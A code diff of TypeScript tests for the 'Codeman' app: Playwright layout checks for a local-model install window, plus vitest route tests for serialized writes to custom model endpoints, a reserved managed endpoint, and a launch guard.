runtime: { version: '0.40.15', installed: false, downloadBytes: RUNTIME, downloadGb: '0.2', unpackedGb: '0.6' },
|
||||
folder: '/Users/sam/.codeman/local-model',
|
||||
actions: ['install'],
|
||||
},
|
||||
};
|
||||
|
||||
type Box = { left: number; right: number; top: number; bottom: number; width: number; height: number };
|
||||
|
||||
/** What the page holds once the module ran on the stand-in class. */
|
||||
interface PageApp {
|
||||
_api: () => Promise<unknown>;
|
||||
loadLocalModel(): Promise<void>;
|
||||
openLocalModelWindow(): void;
|
||||
}
|
||||
type PageWindow = { CodemanApp: new () => PageApp; app: PageApp };
|
||||
|
||||
describe('the local model window (real Chromium)', () => {
|
||||
let browser: Browser;
|
||||
let p: Page;
|
||||
beforeAll(async () => {
|
||||
browser = await chromium.launch();
|
||||
});
|
||||
afterAll(async () => {
|
||||
await browser.close();
|
||||
});
|
||||
afterEach(async () => {
|
||||
await p?.close();
|
||||
});
|
||||
|
||||
it('runs on the real page with both stylesheets in it', () => {
|
||||
expect(MARKUP).toContain('id="localModelModal"');
|
||||
expect(MARKUP.includes('<script')).toBe(false);
|
||||
expect(PAGE.includes('.lm-bar-fill {')).toBe(true);
|
||||
expect(PAGE.includes('<style media="(max-width: 1023px)">')).toBe(true);
|
||||
expect(PAGE.includes('href="styles.css"')).toBe(false);
|
||||
});
|
||||
|
||||
/** The real page at a width, the module loaded, the answer in, the window closed. */
|
||||
async function load(width: number, height = 900) {
|
||||
p = await browser.newPage({ viewport: { width, height }, deviceScaleFactor: 1 });
|
||||
// No motion: the bar is at its width as soon as it is painted, so nothing here waits on a clock.
|
||||
await p.emulateMedia({ reducedMotion: 'reduce' });
|
||||
await p.route('**/*', (route) =>
|
||||
route.request().url() === ORIGIN
|
||||
? route.fulfill({ contentType: 'text/html', body: PAGE })
|
||||
: route.fulfill({ status: 404, body: '' })
|
||||
);
|
||||
await p.goto(ORIGIN);
|
||||
await p.addScriptTag({ content: `function CodemanApp() {}\n${read('local-model-ui.js')}` });
|
||||
await p.evaluate(async (status) => {
|
||||
const w = window as unknown as PageWindow;
|
||||
document.body.classList.add('app-loaded');
|
||||
document.getElementById('welcomeOverlay')!.classList.add('visible');
|
||||
w.app = new w.CodemanApp();
|
||||
w.app._api = async () => ({ ok: true, status: 200, json: async () => ({ success: true, data: status }) });
|
||||
await w.app.loadLocalModel();
|
||||
}, STATUS);
|
||||
}
|
||||
|
||||
/** Two animation frames: whatever was just written is laid out and painted. */
|
||||
const painted = () =>
|
||||
p.evaluate(() => new Promise<void>((done) => requestAnimationFrame(() => requestAnimationFrame(() => done()))));
|
||||
|
||||
async function open() {
|
||||
await p.evaluate(() => (window as unknown as PageWindow).app.openLocalModelWindow());
|
||||
await painted();
|
||||
}
|
||||
|
||||
const boxes = (selector: string) =>
|
||||
p.evaluate(
|
||||
(sel) =>
|
||||
[...document.querySelectorAll(sel)].map((el) => {
|
||||
const r = el.getBoundingClientRect();
|
||||
return { left: r.left, right: r.right, top: r.top, bottom: r.bottom, width: r.width, height: r.height };
|
||||
}),
|
||||
selector
|
||||
) as Promise<Box[]>;
|
||||
|
||||
const same = (values: number[]) => Math.max(...values) - Math.min(...values) <= 0.6;
|
||||
|
||||
it('shows the welcome button only once the server answered for a Mac', async () => {
|
||||
p = await browser.newPage({ viewport: { width: 1440, height: 900 }, deviceScaleFactor: 1 });
|
||||
await p.route('**/*', (route) =>
|
||||
route.request().url() === ORIGIN
|
||||
? route.fulfill({ contentType: 'text/html', body: PAGE })
|
||||
: route.fulfill({ status: 404, body: '' })
|
||||
);
|
||||
await p.goto(ORIGIN);
|
||||
// As shipped: `hidden`, and really not laid out although the chip class is inline-flex.
|
||||
expect(await p.evaluate(() => getComputedStyle(document.getElementById('welcomeLocalModelBtn')!).display)).toBe(
|
||||
'none'
|
||||
);
|
||||
await p.close();
|
||||
await load(1440);
|
||||
const [button] = await boxes('#welcomeLocalModelBtn');
|
||||
expect(button.width).toBeGreaterThan(100);
|
||||
// The first thing on the start screen, in the size of the primary launcher below it.
|
||||
expect(Math.round(button.height)).toBe(46);
|
||||
expect(await p.textContent('#welcomeLocalModelLabel')).toBe('Run a local model');
|
||||
});
|
||||
|
||||
it('lines the numbers up down the list on a desktop, one line a row', async () => {
|
||||
await load(1440);
|
||||
await open();
|
||||
const rows = await boxes('.lm-models .lm-model');
|
||||
expect(rows).toHaveLength(4);
|
||||
const names = await boxes('.lm-model-name');
|
||||
const tags = await boxes('.lm-model-tag');
|
||||
const speeds = await boxes('.lm-model-speed');
|
||||
const sizes = await boxes('.lm-model-size');
|
||||
// Every number ends on the same edge, and every tag starts on the same edge.
|
||||
expect(same(sizes.map((box) => box.right))).toBe(true);
|
||||
expect(same(speeds.map((box) => box.right))).toBe(true);
|
||||
expect(same(tags.map((box) => box.left))).toBe(true);
|
||||
expect(same(names.map((box) => box.left))).toBe(true);
|
||||
// The captions sit over their columns.
|
||||
const [speedCaption] = await boxes('.lm-caption-speed');
|
||||
const [sizeCaption] = await boxes('.lm-caption-size');
|
||||
expect(same([speedCaption.right, speeds[0].right])).toBe(true);
|
||||
expect(same([sizeCaption.right, sizes[0].right])).toBe(true);
|
||||
// One line: name, tag, speed and size share a row's middle.
|
||||
for (let i = 0; i < rows.length; i++) {
|
||||
const middle = (box: Box) => (box.top + box.bottom) / 2;
|
||||
expect(Math.abs(middle(names[i]) - middle(sizes[i]))).toBeLessThan(3);
|
||||
expect(Math.abs(middle(names[i]) - middle(speeds[i]))).toBeLessThan(3);
|
||||
expect(names[i].right).toBeLessThanOrEqual(tags[i].left + 0.6);
|
||||
expect(speeds[i].right).toBeLessThanOrEqual(sizes[i].left + 0.6);
|
||||
}
|
||||
// The memory panel lines up with the rows on both edges, and the bar with its figure.
|
||||
const [figure] = await boxes('.lm-figure');
|
||||
const [radio] = await boxes('.lm-radio');
|
||||
const [bar] = await boxes('.lm-bar');
|
||||
const [meter] = await boxes('.lm-meter');
|
||||
expect(same([figure.left, bar.left])).toBe(true);
|
||||
expect(same([meter.left, radio.left])).toBe(true);
|
||||
expect(same([meter.right, sizes[0].right])).toBe(true);
|
||||
});
|
||||
|
||||
it('fills the bar to the selected model, and the fill follows the selection', async () => {
|
||||
await load(1440);
|
||||
await open();
|
||||
const share = async () => {
|
||||
const [track] = await boxes('.lm-bar');
|
||||
const [fill] = await boxes('.lm-bar-fill');
|
||||
expect(Math.round(track.height)).toBe(12);
|
||||
expect(Math.round(fill.height)).toBe(12);
|
||||
expect(same([track.left, fill.left])).toBe(true);
|
||||
return fill.width / track.width;
|
||||
};
|
||||
// The pick is a tight fit: the bar is nearly full, and a sliver of the track still shows.
|
||||
expect(await share()).toBeCloseTo(0.96, 2);
|
||||
await p.click('.lm-models .lm-model:nth-child(4)');
|
||||
await painted();
|
||||
expect(await share()).toBeCloseTo(0.25, 2);
|
||||
await p.keyboard.press('ArrowUp');
|
||||
await painted();
|
||||
expect(await share()).toBeCloseTo(0.71, 2);
|
||||
// The fill moves over a short moment, and stands still for a reader who wants no motion.
|
||||
const duration = () =>
|
||||
p.evaluate(() => getComputedStyle(document.querySelector('.lm-bar-fill')!).transitionDuration);
|
||||
expect(await duration()).toBe('0s');
|
||||
await p.emulateMedia({ reducedMotion: 'no-preference' });
|
||||
expect(await duration()).toBe('0.32s');
|
||||
await p.emulateMedia({ reducedMotion: 'reduce' });
|
||||
// The track is not the window's own colour, or the free part could not be seen.
|
||||
const paint = await p.evaluate(() => {
|
||||
const css = (sel: string, prop: string) => getComputedStyle(document.querySelector(sel)!).getPropertyValue(prop);
|
||||
// The feature's colour as the browser paints it: a custom property reads back unresolved.
|
||||
const probe = document.body.appendChild(document.createElement('i'));
|
||||
probe.style.color = 'var(--lm-brand)';
|
||||
const brand = getComputedStyle(probe).color;
|
||||
probe.remove();
|
||||
return {
|
||||
brand,
|
||||
track: css('.lm-bar', 'background-color'),
|
||||
fillImage: css('.lm-bar-fill', 'background-image'),
|
||||
window: css('.local-model-window', 'background-color'),
|
||||
edge: css('.lm-model-on', 'border-left-color'),
|
||||
idleEdge: css('.lm-model:not(.lm-model-on)', 'border-left-color'),
|
||||
};
|
||||
});
|
||||
expect(paint.track).not.toBe(paint.window);
|
||||
expect(paint.track).not.toBe(paint.brand);
|
||||
// Without a memory map the one fill runs from the feature's colour to the context's.
|
||||
expect(paint.fillImage).toContain('linear-gradient');
|
||||
// The selected row carries the feature's colour on its reading edge.
|
||||
expect(paint.edge).toBe(paint.brand);
|
||||
expect(paint.idleEdge).not.toBe(paint.brand);
|
||||
});
|
||||
|
||||
it('stacks two lines a row under 560px, with nothing running off the side', async () => {
|
||||
await load(390, 844);
|
||||
await open();
|
||||
const names = await boxes('.lm-model-name');
|
||||
const tags = await boxes('.lm-model-tag');
|
||||
const speeds = await boxes('.lm-model-speed');
|
||||
const sizes = await boxes('.lm-model-size');
|
||||
for (let i = 0; i < names.length; i++) {
|
||||
// Name and tag, then speed and size.
|
||||
expect(speeds[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1);
|
||||
expect(sizes[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1);
|
||||
expect(tags[i].top).toBeLessThan(names[i].bottom);
|
||||
expect(same([names[i].left, speeds[i].left])).toBe(true);
|
||||
}
|
||||
expect(same(sizes.map((box) => box.right))).toBe(true);
|
||||
// The window fills the phone, the bar and the button take its width, and nothing overflows.
|
||||
const [win] = await boxes('.local-model-window');
|
||||
expect(Math.round(win.width)).toBe(390);
|
||||
expect(Math.round(win.height)).toBe(844);
|
||||
const [meter] = await boxes('.lm-meter');
|
||||
const [button] = await boxes('.lm-buttons button');
|
||||
expect(same([meter.left, button.left])).toBe(true);
|
||||
expect(same([meter.right, button.right])).toBe(true);
|
||||
expect(button.height).toBeGreaterThanOrEqual(44);
|
||||
const overflow = await p.evaluate(() => {
|
||||
const body = document.getElementById('localModelWindowBody')!;
|
||||
return body.scrollWidth - body.clientWidth;
|
||||
});
|
||||
expect(overflow).toBeLessThanOrEqual(0);
|
||||
});
|
||||
|
||||
it('paints above App Settings when it is opened from there', async () => {
|
||||
await load(1440);
|
||||
await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active'));
|
||||
await open();
|
||||
const top = await p.evaluate(() => {
|
||||
const box = document.querySelector('.local-model-window')!.getBoundingClientRect();
|
||||
const hit = document.elementFromPoint(box.left + box.width / 2, box.top + 20);
|
||||
return !!hit && !!hit.closest('#localModelModal');
|
||||
});
|
||||
expect(top).toBe(true);
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
@@ -8,7 +8,10 @@
|
||||
* been bypassed.
|
||||
* Port: N/A (app.inject, no real port needed)
|
||||
*/
|
||||
import { describe, it, expect, vi, afterEach } from 'vitest';
|
||||
import { describe, it, expect, vi, afterEach, beforeEach } from 'vitest';
|
||||
import { readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
|
||||
import { dataPath, getDataDir } from '../../src/config/instance.js';
|
||||
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
|
||||
import { registerCustomModelRoutes } from '../../src/web/routes/custom-model-routes.js';
|
||||
import { webviewFetch } from '../../src/web/webview-egress.js';
|
||||
import { createRouteTestHarness, type RouteTestHarness } from './_route-test-utils.js';
|
||||
@@ -524,10 +527,9 @@ describe('context-length discovery from the /v1/models listing', () => {
|
||||
defaultContextLength: 65536,
|
||||
});
|
||||
fetchMock.mockResolvedValue(
|
||||
new Response(
|
||||
JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }),
|
||||
{ status: 200 }
|
||||
)
|
||||
new Response(JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }), {
|
||||
status: 200,
|
||||
})
|
||||
);
|
||||
|
||||
await app.inject({ method: 'POST', url: '/api/model-endpoints/ep-ctx-keep/discover-models' });
|
||||
@@ -580,3 +582,278 @@ describe('defaultContextLength (the user-set fallback discovery never overwrites
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('every write goes through the serialized writer', () => {
|
||||
const HOSTS = () => customModelHostsPath(getDataDir());
|
||||
|
||||
beforeEach(() => {
|
||||
rmSync(HOSTS(), { force: true });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
fetchMock.mockReset();
|
||||
rmSync(HOSTS(), { force: true });
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('ten creates sent at once all land (each used to read, change and write on its own)', async () => {
|
||||
const { app } = await setup();
|
||||
const ids = Array.from({ length: 10 }, (_, i) => `burst${i}`);
|
||||
const responses = await Promise.all(
|
||||
ids.map((id) =>
|
||||
app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/model-endpoints',
|
||||
payload: { id, label: id, baseUrl: 'http://localhost:8200', apiKey: `sk-${id}` },
|
||||
})
|
||||
)
|
||||
);
|
||||
for (const res of responses) expect(res.json().success).toBe(true);
|
||||
const stored = await readCustomModelHosts(getDataDir());
|
||||
expect(stored.map((host) => host.id).sort()).toEqual([...ids].sort());
|
||||
// Every key survived: none of the writes replaced the list with its own record.
|
||||
for (const host of stored) expect(host.apiKey).toBe(`sk-${host.id}`);
|
||||
});
|
||||
|
||||
it('two creates of one id sent at once: one is stored, the other is told it exists', async () => {
|
||||
const { app } = await setup();
|
||||
const create = (label: string) =>
|
||||
app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/model-endpoints',
|
||||
payload: { id: 'race', label, baseUrl: 'http://localhost:8201' },
|
||||
});
|
||||
const [first, second] = await Promise.all([create('one'), create('two')]);
|
||||
expect([first.json().success, second.json().success].sort()).toEqual([false, true]);
|
||||
expect([first.json().errorCode, second.json().errorCode]).toContain('ALREADY_EXISTS');
|
||||
const stored = await readCustomModelHosts(getDataDir());
|
||||
expect(stored).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('a discovery that takes a moment does not undo an edit made while it ran', async () => {
|
||||
const { app } = await setup();
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/model-endpoints',
|
||||
payload: { id: 'slow', label: 'Before', baseUrl: 'http://localhost:8202' },
|
||||
});
|
||||
let answer: (response: Response) => void = () => {};
|
||||
fetchMock.mockImplementation(
|
||||
(async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch
|
||||
);
|
||||
const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/slow/discover-models' });
|
||||
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled());
|
||||
|
||||
// The endpoint is renamed while the probe is still out.
|
||||
const renamed = await app.inject({
|
||||
method: 'PUT',
|
||||
url: '/api/model-endpoints/slow',
|
||||
payload: { label: 'After', baseUrl: 'http://localhost:8202' },
|
||||
});
|
||||
expect(renamed.json().success).toBe(true);
|
||||
|
||||
answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }));
|
||||
expect((await discovering).json()).toEqual({ success: true, data: { models: ['qwen3'] } });
|
||||
|
||||
const [stored] = await readCustomModelHosts(getDataDir());
|
||||
// Both changes are there: the new name and the discovered list.
|
||||
expect(stored.label).toBe('After');
|
||||
expect(stored.models).toEqual(['qwen3']);
|
||||
});
|
||||
|
||||
it('an endpoint deleted while its discovery ran stays deleted', async () => {
|
||||
const { app } = await setup();
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/model-endpoints',
|
||||
payload: { id: 'gone', label: 'Gone', baseUrl: 'http://localhost:8203' },
|
||||
});
|
||||
let answer: (response: Response) => void = () => {};
|
||||
fetchMock.mockImplementation(
|
||||
(async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch
|
||||
);
|
||||
const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/gone/discover-models' });
|
||||
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled());
|
||||
await app.inject({ method: 'DELETE', url: '/api/model-endpoints/gone' });
|
||||
answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }));
|
||||
expect((await discovering).json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
|
||||
});
|
||||
|
||||
it('deleting an id that is not saved leaves the file as it is', async () => {
|
||||
const { app } = await setup();
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/model-endpoints',
|
||||
payload: { id: 'keep', label: 'Keep', baseUrl: 'http://localhost:8204' },
|
||||
});
|
||||
const before = { text: readFileSync(HOSTS(), 'utf8'), mtime: statSync(HOSTS()).mtimeMs };
|
||||
const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/never-saved' });
|
||||
expect(res.json()).toEqual({ success: true, data: { id: 'never-saved' } });
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe(before.text);
|
||||
expect(statSync(HOSTS()).mtimeMs).toBe(before.mtime);
|
||||
});
|
||||
|
||||
describe('a store that does not parse', () => {
|
||||
const BROKEN = '[{"id":"mine","label":"Mine","baseUrl":"http://localhost:9","apiKey":"sk-keep-me"},';
|
||||
|
||||
beforeEach(() => {
|
||||
writeFileSync(HOSTS(), BROKEN);
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
});
|
||||
|
||||
it.each([
|
||||
['create', 'POST', '/api/model-endpoints', { id: 'new', label: 'New', baseUrl: 'http://localhost:8205' }],
|
||||
['update', 'PUT', '/api/model-endpoints/mine', { label: 'Renamed', baseUrl: 'http://localhost:8205' }],
|
||||
['delete', 'DELETE', '/api/model-endpoints/mine', undefined],
|
||||
] as const)(
|
||||
'%s is refused with 409 and the file is left byte for byte (it used to be replaced by one record)',
|
||||
async (_label, method, url, payload) => {
|
||||
const { app } = await setup();
|
||||
const res = await app.inject({ method, url, ...(payload ? { payload } : {}) });
|
||||
expect(res.statusCode).toBe(409);
|
||||
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
|
||||
expect(res.json().error).toContain('custom-model-hosts.json');
|
||||
// The refusal never repeats the file, which holds a key.
|
||||
expect(res.body).not.toContain('sk-keep-me');
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe(BROKEN);
|
||||
}
|
||||
);
|
||||
|
||||
it('reading still answers an empty list, as before', async () => {
|
||||
const { app } = await setup();
|
||||
expect((await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json()).toEqual([]);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('the endpoint the local model install manages', () => {
|
||||
const HOSTS = () => customModelHostsPath(getDataDir());
|
||||
const STATE = () => dataPath('local-model.json');
|
||||
|
||||
const RECORD: CustomModelHost = {
|
||||
id: 'local-ollama',
|
||||
label: 'This Mac',
|
||||
baseUrl: 'http://127.0.0.1:11435',
|
||||
authStyle: 'bearer',
|
||||
models: ['qwen3.6:35b-a3b'],
|
||||
defaultModelId: 'qwen3.6:35b-a3b',
|
||||
defaultContextLength: 131072,
|
||||
};
|
||||
|
||||
/** The state file of an installed model whose connection is the record above. */
|
||||
function markManaged(): void {
|
||||
writeFileSync(
|
||||
STATE(),
|
||||
JSON.stringify({
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
rmSync(STATE(), { force: true });
|
||||
writeFileSync(HOSTS(), JSON.stringify([RECORD]));
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
fetchMock.mockReset();
|
||||
rmSync(STATE(), { force: true });
|
||||
rmSync(HOSTS(), { force: true });
|
||||
});
|
||||
|
||||
it('a new endpoint may not take the reserved id, whether or not a model is installed', async () => {
|
||||
rmSync(HOSTS(), { force: true });
|
||||
const { app } = await setup();
|
||||
const res = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/model-endpoints',
|
||||
payload: { id: 'local-ollama', label: 'Mine', baseUrl: 'http://127.0.0.1:11434' },
|
||||
});
|
||||
expect(res.json()).toEqual({
|
||||
success: false,
|
||||
error: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
|
||||
errorCode: 'INVALID_INPUT',
|
||||
});
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
|
||||
});
|
||||
|
||||
it('while it is managed it is not edited: its port stays the runtime Codeman supervises', async () => {
|
||||
markManaged();
|
||||
const { app } = await setup();
|
||||
const res = await app.inject({
|
||||
method: 'PUT',
|
||||
url: '/api/model-endpoints/local-ollama',
|
||||
payload: { label: 'This Mac', baseUrl: 'http://192.168.1.99:11434' },
|
||||
});
|
||||
expect(res.json()).toEqual({
|
||||
success: false,
|
||||
error:
|
||||
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
|
||||
errorCode: 'INVALID_INPUT',
|
||||
});
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
|
||||
});
|
||||
|
||||
it('while it is managed it is not deleted from here: the runtime would keep running without it', async () => {
|
||||
markManaged();
|
||||
const { app } = await setup();
|
||||
const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' });
|
||||
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
|
||||
});
|
||||
|
||||
it('while it is managed a discovery answers the one model the install checked and asks the runtime nothing', async () => {
|
||||
markManaged();
|
||||
const { app } = await setup();
|
||||
const res = await app.inject({ method: 'POST', url: '/api/model-endpoints/local-ollama/discover-models' });
|
||||
expect(res.json()).toEqual({ success: true, data: { models: ['qwen3.6:35b-a3b'] } });
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
|
||||
});
|
||||
|
||||
it('it is listed like any other endpoint', async () => {
|
||||
markManaged();
|
||||
const { app } = await setup();
|
||||
const list = (await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json();
|
||||
expect(list).toEqual([{ ...RECORD, apiKeySet: false }]);
|
||||
});
|
||||
|
||||
it('a record with that id that nobody installed (made by hand) can still be edited and deleted by its owner', async () => {
|
||||
// No state file: this feature wrote nothing, so the record is the person's own.
|
||||
const { app } = await setup();
|
||||
const update = await app.inject({
|
||||
method: 'PUT',
|
||||
url: '/api/model-endpoints/local-ollama',
|
||||
payload: { label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' },
|
||||
});
|
||||
expect(update.json().success).toBe(true);
|
||||
expect((await readCustomModelHosts(getDataDir()))[0].label).toBe('My own Ollama');
|
||||
const del = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' });
|
||||
expect(del.json()).toEqual({ success: true, data: { id: 'local-ollama' } });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
|
||||
});
|
||||
|
||||
it('any other endpoint is edited and deleted as before while a model is installed', async () => {
|
||||
markManaged();
|
||||
const { app } = await setup();
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/model-endpoints',
|
||||
payload: { id: 'office', label: 'Office', baseUrl: 'http://localhost:8210' },
|
||||
});
|
||||
const update = await app.inject({
|
||||
method: 'PUT',
|
||||
url: '/api/model-endpoints/office',
|
||||
payload: { label: 'Office GPU', baseUrl: 'http://localhost:8210' },
|
||||
});
|
||||
expect(update.json().data.host.label).toBe('Office GPU');
|
||||
await app.inject({ method: 'DELETE', url: '/api/model-endpoints/office' });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,309 @@
|
||||
/**
|
||||
* @fileoverview The launch guard of the endpoint the local model install manages, at the two
|
||||
* routes that put a session onto a custom model endpoint: they ask the install service before
|
||||
* anything is written.
|
||||
*
|
||||
* - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and
|
||||
* - `POST /api/quick-start` with `customModel` (a session is created on it)
|
||||
*
|
||||
* call `LocalModelService.launchRefusalMessage(endpointId, modelId)` once the endpoint is
|
||||
* found and before anything is written, restarted or created. A sentence back is the answer
|
||||
* (`OPERATION_FAILED`); `undefined` lets the launch go on exactly as before. That is how a
|
||||
* model whose digest is no longer the one stored at install time is not launched, and how
|
||||
* nothing is launched against a port our runtime is not on.
|
||||
*
|
||||
* Every OTHER way a new agent process comes to be on the endpoint (the attach that finds no
|
||||
* pane, the respawn of a dead pane, a restart in place, the rebuild after a reboot) is
|
||||
* covered below the routes, by `Session`'s launch guard: test/local-model-session-launch-guard.test.ts.
|
||||
*
|
||||
* The service is replaced by a fake for most cases, and is the REAL one (over the real state
|
||||
* file, with no runtime running) for the cases that pin the default wiring.
|
||||
*
|
||||
* Port: N/A (app.inject, no real port needed)
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import Fastify, { type FastifyInstance } from 'fastify';
|
||||
import fastifyCookie from '@fastify/cookie';
|
||||
import { rmSync, writeFileSync } from 'node:fs';
|
||||
import { rm } from 'node:fs/promises';
|
||||
import { join } from 'node:path';
|
||||
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
|
||||
import { createRouteTestHarness } from './_route-test-utils.js';
|
||||
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
|
||||
import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
|
||||
import { dataPath, getDataDir } from '../../src/config/instance.js';
|
||||
import { CASES_DIR } from '../../src/web/route-helpers.js';
|
||||
import { Session } from '../../src/session.js';
|
||||
import { writeCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
|
||||
import { webviewFetch } from '../../src/web/webview-egress.js';
|
||||
import type { LocalModelService } from '../../src/local-model/install-job.js';
|
||||
|
||||
vi.mock('../../src/web/webview-egress.js', async () => {
|
||||
const actual = await vi.importActual<typeof import('../../src/web/webview-egress.js')>(
|
||||
'../../src/web/webview-egress.js'
|
||||
);
|
||||
return { ...actual, webviewFetch: vi.fn() };
|
||||
});
|
||||
const fetchMock = vi.mocked(webviewFetch);
|
||||
|
||||
// See test/routes/quick-start-custom-model.test.ts: the CLI availability gate runs before the
|
||||
// code under test and would refuse every launch on a machine without the binary.
|
||||
vi.mock('../../src/utils/cli-launcher.js', async () => {
|
||||
const actual = await vi.importActual<typeof import('../../src/utils/cli-launcher.js')>(
|
||||
'../../src/utils/cli-launcher.js'
|
||||
);
|
||||
return { ...actual, resolveCliLaunchError: vi.fn().mockResolvedValue(null) };
|
||||
});
|
||||
|
||||
/** The service the session routes get: a fake by default, the real one where a test says so. */
|
||||
const guard = vi.hoisted(() => ({
|
||||
launchRefusalMessage: vi.fn<(endpointId: string, modelId: string) => Promise<string | undefined>>(),
|
||||
real: undefined as LocalModelService | undefined,
|
||||
}));
|
||||
vi.mock('../../src/local-model/install-job.js', async () => {
|
||||
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
|
||||
'../../src/local-model/install-job.js'
|
||||
);
|
||||
return {
|
||||
...actual,
|
||||
getLocalModelService: () => guard.real ?? { launchRefusalMessage: guard.launchRefusalMessage },
|
||||
};
|
||||
});
|
||||
|
||||
const MANAGED: CustomModelHost = {
|
||||
id: 'local-ollama',
|
||||
label: 'This Mac',
|
||||
baseUrl: 'http://127.0.0.1:11435',
|
||||
authStyle: 'bearer',
|
||||
models: ['qwen3.6:35b-a3b'],
|
||||
defaultModelId: 'qwen3.6:35b-a3b',
|
||||
defaultContextLength: 131072,
|
||||
};
|
||||
|
||||
const OTHER: CustomModelHost = { id: 'ep1', label: 'llama.cpp box', baseUrl: 'http://192.168.1.50:8080', apiKey: 'k' };
|
||||
|
||||
const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
|
||||
const STATE = () => dataPath('local-model.json');
|
||||
|
||||
/** The state file of an installed model whose connection is the managed record. */
|
||||
function writeInstalledState(): void {
|
||||
writeFileSync(
|
||||
STATE(),
|
||||
JSON.stringify({
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
async function realService(): Promise<LocalModelService> {
|
||||
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
|
||||
'../../src/local-model/install-job.js'
|
||||
);
|
||||
// The real service with its real state file. No runtime was ever started by it.
|
||||
return actual.createLocalModelService();
|
||||
}
|
||||
|
||||
beforeEach(async () => {
|
||||
guard.launchRefusalMessage.mockReset();
|
||||
guard.launchRefusalMessage.mockResolvedValue(undefined);
|
||||
guard.real = undefined;
|
||||
fetchMock.mockReset();
|
||||
fetchMock.mockResolvedValue(new Response('not found', { status: 404 }));
|
||||
await writeCustomModelHosts(getDataDir(), [MANAGED, OTHER]);
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
rmSync(STATE(), { force: true });
|
||||
await rm(join(getDataDir(), 'custom-model-hosts.json'), { force: true });
|
||||
await rm(join(getDataDir(), 'custom-model-configs'), { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('POST /api/sessions/:id/custom-model on the managed endpoint', () => {
|
||||
async function setup() {
|
||||
const harness = await createRouteTestHarness(registerSessionRoutes);
|
||||
const session = harness.ctx.sessions.get('test-session-1')!;
|
